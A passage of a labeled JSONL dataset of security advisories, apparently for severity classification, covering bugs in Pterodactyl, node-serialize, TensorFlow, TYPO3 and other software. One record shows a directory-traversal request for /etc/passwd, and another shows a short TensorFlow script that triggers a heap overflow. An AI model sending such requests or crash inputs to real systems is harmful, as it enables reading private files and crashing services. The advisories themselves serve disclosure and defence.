https://github.com/PHPSocialNetwork/phpfastcache/pull/814\nV8 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/813\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/PHPSocialNetwork/phpfastcache/issues)\n* Email us at [security@geolim4.com](mailto:security@geolim4.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "71651abfea8f20d4c36f", "text": "Pterodactyl Panel vulnerable to authentication bypass due to improper user-provided security token verification\n\nA malicious user can modify the contents of a `confirmation_token` input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user.\n\n## Impact\nDue to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the `LoginCheckpointController@__invoke` method which handles two-factor authentication for a user.\n\nThis controller looks for a request input parameter called `confirmation_token` which is expected to be a 64 character random alpha-numeric string that references a value within the Panel's cache containing a `user_id` value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the `user_id`.\n\nThere are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user.\n\n## Scope\nAt its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably:\n\n1.) The account referenced by the malicious cache key **must** have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow.\n2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they **must** provide a valid two-factor authentication token.\n\nHowever, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met:\n\n3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid `user_id` value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker.\n\n### About the Severity\nAs you may have noticed, this is not a trivial authentication bypass bug to exploit, and is likely incredibly difficult for a layperson to pull off. However, the severity of this disclosure has been prepared based on the nature of the bug and the potential for unexpected administrative account access under very rare conditions.\n\n## Mitigation\nIn order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.\n\nIf you have any questions or concerns about the content of this disclosure please contact `Tactical Fish#8008` on Discord, or email `dane ät pterodactyl.io`.", "text_raw": "Pterodactyl Panel vulnerable to authentication bypass due to improper user-provided security token verification\n\n[Severity: HIGH]\n\nA malicious user can modify the contents of a `confirmation_token` input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user.\n\n## Impact\nDue to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the `LoginCheckpointController@__invoke` method which handles two-factor authentication for a user.\n\nThis controller looks for a request input parameter called `confirmation_token` which is expected to be a 64 character random alpha-numeric string that references a value within the Panel's cache containing a `user_id` value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the `user_id`.\n\nThere are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user.\n\n## Scope\nAt its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably:\n\n1.) The account referenced by the malicious cache key **must** have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow.\n2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they **must** provide a valid two-factor authentication token.\n\nHowever, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met:\n\n3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid `user_id` value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker.\n\n### About the Severity\nAs you may have noticed, this is not a trivial authentication bypass bug to exploit, and is likely incredibly difficult for a layperson to pull off. However, the severity of this disclosure has been prepared based on the nature of the bug and the potential for unexpected administrative account access under very rare conditions.\n\n## Mitigation\nIn order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.\n\nIf you have any questions or concerns about the content of this disclosure please contact `Tactical Fish#8008` on Discord, or email `dane ät pterodactyl.io`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "c6e26eb5a8214ffcef76", "text": "Code Execution through IIFE in node-serialize\n\nAffected versions of `node-serialize` can be abused to execute arbitrary code via an [immediately invoked function expression](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) (IIFE) if untrusted user input is passed into `unserialize()`.\n\n## Recommendation\n\nThere is no direct patch for this issue. The package author has reviewed this advisory, and provided the following recommendation:\n\n```\nTo avoid the security issues, at least one of the following methods should be taken:\n\n1. Make sure to send serialized strings internally, isolating them from potential hackers. For example, only sending the strings from backend to fronend and always using HTTPS instead of HTTP.\n\n2. Introduce public-key cryptosystems (e.g. RSA) to ensure the strings not being tampered with.\n```", "text_raw": "Code Execution through IIFE in node-serialize\n\n[Severity: CRITICAL]\n\nAffected versions of `node-serialize` can be abused to execute arbitrary code via an [immediately invoked function expression](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) (IIFE) if untrusted user input is passed into `unserialize()`.\n\n\n## Recommendation\n\nThere is no direct patch for this issue. The package author has reviewed this advisory, and provided the following recommendation:\n\n```\nTo avoid the security issues, at least one of the following methods should be taken:\n\n1. Make sure to send serialized strings internally, isolating them from potential hackers. For example, only sending the strings from backend to fronend and always using HTTPS instead of HTTP.\n\n2. Introduce public-key cryptosystems (e.g. RSA) to ensure the strings not being tampered with.\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "88681cc8c1885c801d91", "text": "Directory Traversal in mfrserver\n\nAffected versions of `mfrserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in mfrserver\n\n[Severity: HIGH]\n\nAffected versions of `mfrserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a6e87a2f26ad950ed5b2", "text": "Information Disclosure in User Authentication\n\n### Problem\nIt has been discovered that user credentials have been logged as plaintext when explicitly using log level debug, which is not the _default_ configuration.\n\n### Solution\nUpdate to TYPO3 versions 7.6.52 ELTS, 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to Ingo Schmitt who reported this issue, and to TYPO3 core & security team member Benni Mack who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-012](https://typo3.org/security/advisory/typo3-core-sa-2021-012)", "text_raw": "Information Disclosure in User Authentication\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N/E:F/RL:O/RC:C` (4.9)\n\n### Problem\nIt has been discovered that user credentials have been logged as plaintext when explicitly using log level debug, which is not the _default_ configuration.\n\n### Solution\nUpdate to TYPO3 versions 7.6.52 ELTS, 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to Ingo Schmitt who reported this issue, and to TYPO3 core & security team member Benni Mack who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-012](https://typo3.org/security/advisory/typo3-core-sa-2021-012)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "e60ecdd7ab348d8b5501", "text": "Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-1390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-1390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5efd78c829be235a63a4", "text": "Improper authorisation of members discloses room membership to non-members\n\n### Impact\nUnauthorised users can access the membership (list of members, with their display names) of a room if they know the ID of the room. The vulnerability is limited to rooms with `shared` history visibility. Furthermore, the unauthorised user must be using an account on a vulnerable homeserver that is in the room.\n\n### Patches\nServer administrators should upgrade to 1.41.1 or later.\n\n### Workarounds\nAdministrators of servers that use a reverse proxy could, with potentially unacceptable loss of functionality, block the following endpoints:\n* `/_matrix/client/r0/rooms/{room_id}/members` with `at` query parameter\n* `/_matrix/client/unstable/rooms/{room_id}/members` with `at` query parameter\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.", "text_raw": "Improper authorisation of members discloses room membership to non-members\n\n[Severity: LOW]\n\n### Impact\nUnauthorised users can access the membership (list of members, with their display names) of a room if they know the ID of the room. The vulnerability is limited to rooms with `shared` history visibility. Furthermore, the unauthorised user must be using an account on a vulnerable homeserver that is in the room.\n\n### Patches\nServer administrators should upgrade to 1.41.1 or later.\n\n### Workarounds\nAdministrators of servers that use a reverse proxy could, with potentially unacceptable loss of functionality, block the following endpoints:\n* `/_matrix/client/r0/rooms/{room_id}/members` with `at` query parameter\n* `/_matrix/client/unstable/rooms/{room_id}/members` with `at` query parameter\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "6438c869e4122e753f1b", "text": "headless-browser-lite downloads Resources over HTTP\n\nAffected versions of `headless-browser-lite` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `headless-browser-lite`.\n\n## Recommendation\n\nUpdate to version 2015.4.18-a or later.", "text_raw": "headless-browser-lite downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `headless-browser-lite` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `headless-browser-lite`.\n\n\n## Recommendation\n\nUpdate to version 2015.4.18-a or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a6185328ef24e561291d", "text": "Session fixation in express-openid-connect\n\n### Overview\n\nVersions `2.3.0` up to and including `2.5.1` do not regenerate the session id and session cookie when user logs in.  This behavior opens up the application to various session fixation vulnerabilities.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `express-openid-connect` version `2.3.0` up to and including `2.5.1` and use a custom session store.\n\n### How to fix that?\nUpgrade to version `>= 2.5.2`.\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.", "text_raw": "Session fixation in express-openid-connect\n\n[Severity: MEDIUM]\n\n### Overview\n\nVersions `2.3.0` up to and including `2.5.1` do not regenerate the session id and session cookie when user logs in.  This behavior opens up the application to various session fixation vulnerabilities.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `express-openid-connect` version `2.3.0` up to and including `2.5.1` and use a custom session store.\n\n\n### How to fix that?\nUpgrade to version `>= 2.5.2`.\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "985f399f9a9768da0189", "text": "Malicious Package in alico\n\nAll versions of `alico` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in alico\n\n[Severity: CRITICAL]\n\nAll versions of `alico` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "dfb57bd1c5ec9e638c52", "text": "Signature verification vulnerability in Stark Bank ecdsa libraries\n\nAn attacker can forge signatures on arbitrary messages that will verify for any public key. This may allow attackers to authenticate as any user within the Stark Bank platform, and bypass signature verification needed to perform operations on the platform, such as send payments and transfer funds. Additionally, the ability for attackers to forge signatures may impact other users and projects using these libraries in different and unforeseen ways.", "text_raw": "Signature verification vulnerability in Stark Bank ecdsa libraries\n\n[Severity: HIGH]\n\nAn attacker can forge signatures on arbitrary messages that will verify for any public key. This may allow attackers to authenticate as any user within the Stark Bank platform, and bypass signature verification needed to perform operations on the platform, such as send payments and transfer funds. Additionally, the ability for attackers to forge signatures may impact other users and projects using these libraries in different and unforeseen ways.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "708e919fa37a59c79728", "text": "Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution", "text_raw": "Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-07-26", "split": "train"}
-{"id": "dcef637085282b19a674", "text": "OS Command Injection in Locutus\n\nphp/exec/escapeshellarg in Locutus PHP through 2.0.11 allows an attacker to achieve code execution.", "text_raw": "OS Command Injection in Locutus\n\n[Severity: CRITICAL]\n\nphp/exec/escapeshellarg in Locutus PHP through 2.0.11 allows an attacker to achieve code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "7633d439960a34e4498f", "text": "mcstatic directory traversal vulnerability\n\nA server directory traversal vulnerability was found on node module mcstatic <=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.", "text_raw": "mcstatic directory traversal vulnerability\n\n[Severity: HIGH]\n\nA server directory traversal vulnerability was found on node module mcstatic <=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "0fd7e66ae0b73057d6c0", "text": "Out of bounds access in tensorflow-lite\n\n### Impact\nIn TensorFlow Lite, saved models in the flatbuffer format use a double indexing scheme: a model has a set of subgraphs, each subgraph has a set of operators and each operator has a set of input/output tensors. The flatbuffer format uses indices for the tensors, indexing into an array of tensors that is owned by the subgraph. This results in a pattern of double array indexing when trying to get the data of each tensor: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/kernel_util.cc#L36\n\nHowever, some operators can have some tensors be optional. To handle this scenario, the flatbuffer model uses a negative `-1` value as index for these tensors:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/c/common.h#L82\n\nThis results in special casing during validation at model loading time: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/core/subgraph.cc#L566-L580\n\nUnfortunately, this means that the `-1` index is a valid tensor index for any operator, including those that don't expect optional inputs and including for output tensors. Thus, this allows writing and reading from outside the bounds of heap allocated arrays, although only at a specific offset from the start of these arrays.\n\nThis results in both read and write gadgets, albeit very limited in scope.\n\n### Patches\nWe have patched the issue in several commits (46d5b0852, 00302787b7, e11f5558, cd31fd0ce, 1970c21, and fff2c83). We will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that only operators which accept optional inputs use the `-1` special value and only for the tensors that they expect to be optional. Since this allow-list type approach is erro-prone, we advise upgrading to the patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Out of bounds access in tensorflow-lite\n\n[Severity: MEDIUM]\n\n### Impact\nIn TensorFlow Lite, saved models in the flatbuffer format use a double indexing scheme: a model has a set of subgraphs, each subgraph has a set of operators and each operator has a set of input/output tensors. The flatbuffer format uses indices for the tensors, indexing into an array of tensors that is owned by the subgraph. This results in a pattern of double array indexing when trying to get the data of each tensor: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/kernel_util.cc#L36\n\nHowever, some operators can have some tensors be optional. To handle this scenario, the flatbuffer model uses a negative `-1` value as index for these tensors:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/c/common.h#L82\n\nThis results in special casing during validation at model loading time: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/core/subgraph.cc#L566-L580\n\nUnfortunately, this means that the `-1` index is a valid tensor index for any operator, including those that don't expect optional inputs and including for output tensors. Thus, this allows writing and reading from outside the bounds of heap allocated arrays, although only at a specific offset from the start of these arrays.\n\nThis results in both read and write gadgets, albeit very limited in scope.\n\n### Patches\nWe have patched the issue in several commits (46d5b0852, 00302787b7, e11f5558, cd31fd0ce, 1970c21, and fff2c83). We will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that only operators which accept optional inputs use the `-1` special value and only for the tensors that they expect to be optional. Since this allow-list type approach is erro-prone, we advise upgrading to the patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "b25d8ea39c7193854b72", "text": "Internal NCryptDecrypt method could be used externally from WindowsHello library.\n\n### Impact\nEvery user of the library before version 1.0.4.\n\n### Patches\nPatched in 1.0.4+.\n\n### Workarounds\nNone.\n\n### References\nhttps://github.com/SeppPenner/WindowsHello/issues/3\n\n### For more information\nIt this library is used to encrypt text and write the output to a txt file, another executable could be able to decrypt the text using the static method NCryptDecrypt from this same library  without the need to use Windows Hello Authentication again.", "text_raw": "Internal NCryptDecrypt method could be used externally from WindowsHello library.\n\n[Severity: MEDIUM]\n\n### Impact\nEvery user of the library before version 1.0.4.\n\n### Patches\nPatched in 1.0.4+.\n\n### Workarounds\nNone.\n\n### References\nhttps://github.com/SeppPenner/WindowsHello/issues/3\n\n### For more information\nIt this library is used to encrypt text and write the output to a txt file, another executable could be able to decrypt the text using the static method NCryptDecrypt from this same library  without the need to use Windows Hello Authentication again.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
-{"id": "9664918610a3244a511b", "text": "OV3 Online Administration 3.0 Authenticated Code Execution", "text_raw": "OV3 Online Administration 3.0 Authenticated Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-05-30", "split": "train"}
-{"id": "cc1a8d82990979967fc7", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1335, CVE-2019-1366.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1335, CVE-2019-1366.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "b5472da130485739caed", "text": "Server Side Request Forgery in svgSalamander\n\nThe SVG Salamander (aka svgSalamander) library, when used in a web application, allows remote attackers to conduct server-side request forgery (SSRF) attacks via an xlink:href attribute in an SVG file.", "text_raw": "Server Side Request Forgery in svgSalamander\n\n[Severity: HIGH]\n\nThe SVG Salamander (aka svgSalamander) library, when used in a web application, allows remote attackers to conduct server-side request forgery (SSRF) attacks via an xlink:href attribute in an SVG file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "9c4f39d86d63c0c3234f", "text": "xml-crypto's HMAC-SHA1 signatures can bypass validation via key confusion\n\n### Impact\nAn attacker can inject an HMAC-SHA1 signature that is valid using only knowledge of the RSA public key. This allows bypassing signature validation.\n\n### Patches\nVersion 2.0.0 has the fix.\n\n### Workarounds\nThe recommendation is to upgrade. In case that is not possible remove the 'http://www.w3.org/2000/09/xmldsig#hmac-sha1' entry from SignedXml.SignatureAlgorithms.", "text_raw": "xml-crypto's HMAC-SHA1 signatures can bypass validation via key confusion\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can inject an HMAC-SHA1 signature that is valid using only knowledge of the RSA public key. This allows bypassing signature validation.\n\n### Patches\nVersion 2.0.0 has the fix.\n\n### Workarounds\nThe recommendation is to upgrade. In case that is not possible remove the 'http://www.w3.org/2000/09/xmldsig#hmac-sha1' entry from SignedXml.SignatureAlgorithms.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "a6a9e508185ce255cc7f", "text": "Heap buffer overflow in `QuantizedMul`\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedMul` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)\ny = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)\nmin_x = tf.constant([], dtype=tf.float32)\nmax_x = tf.constant([], dtype=tf.float32)\nmin_y = tf.constant([], dtype=tf.float32)\nmax_y = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/87cf4d3ea9949051e50ca3f071fc909538a51cd0/tensorflow/core/kernels/quantized_mul_op.cc#L287-L290) assumes that the 4 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc \nconst float min_x = context->input(2).flat<float>()(0);\nconst float max_x = context->input(3).flat<float>()(0);\nconst float min_y = context->input(4).flat<float>()(0);\nconst float max_y = context->input(5).flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches\nWe have patched the issue in GitHub commit [efea03b38fb8d3b81762237dc85e579cc5fc6e87](https://github.com/tensorflow/tensorflow/commit/efea03b38fb8d3b81762237dc85e579cc5fc6e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `QuantizedMul`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedMul` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)\ny = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)\nmin_x = tf.constant([], dtype=tf.float32)\nmax_x = tf.constant([], dtype=tf.float32)\nmin_y = tf.constant([], dtype=tf.float32)\nmax_y = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/87cf4d3ea9949051e50ca3f071fc909538a51cd0/tensorflow/core/kernels/quantized_mul_op.cc#L287-L290) assumes that the 4 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc \nconst float min_x = context->input(2).flat<float>()(0);\nconst float max_x = context->input(3).flat<float>()(0);\nconst float min_y = context->input(4).flat<float>()(0);\nconst float max_y = context->input(5).flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches\nWe have patched the issue in GitHub commit [efea03b38fb8d3b81762237dc85e579cc5fc6e87](https://github.com/tensorflow/tensorflow/commit/efea03b38fb8d3b81762237dc85e579cc5fc6e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "19df753a95e90c833dda", "text": "Uninitialized buffer use in marc\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation. (Record::read()). Arbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior. This flaw was fixed in commit 6299af0 by zero-initializing the newly allocated memory (via data.resize(len, 0)) instead of exposing uninitialized memory (unsafe { data.set_len(len) }).", "text_raw": "Uninitialized buffer use in marc\n\n[Severity: HIGH]\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation. (Record::read()). Arbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior. This flaw was fixed in commit 6299af0 by zero-initializing the newly allocated memory (via data.resize(len, 0)) instead of exposing uninitialized memory (unsafe { data.set_len(len) }).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "597db2115bfc7080944d", "text": "Improper Certificate Validation in HashiCorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise up to 0.10.2 incorrectly validated role/region associated with TLS certificates used for mTLS RPC, and were susceptible to privilege escalation. Fixed in 0.10.3.", "text_raw": "Improper Certificate Validation in HashiCorp Nomad\n\n[Severity: HIGH]\n\nHashiCorp Nomad and Nomad Enterprise up to 0.10.2 incorrectly validated role/region associated with TLS certificates used for mTLS RPC, and were susceptible to privilege escalation. Fixed in 0.10.3.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
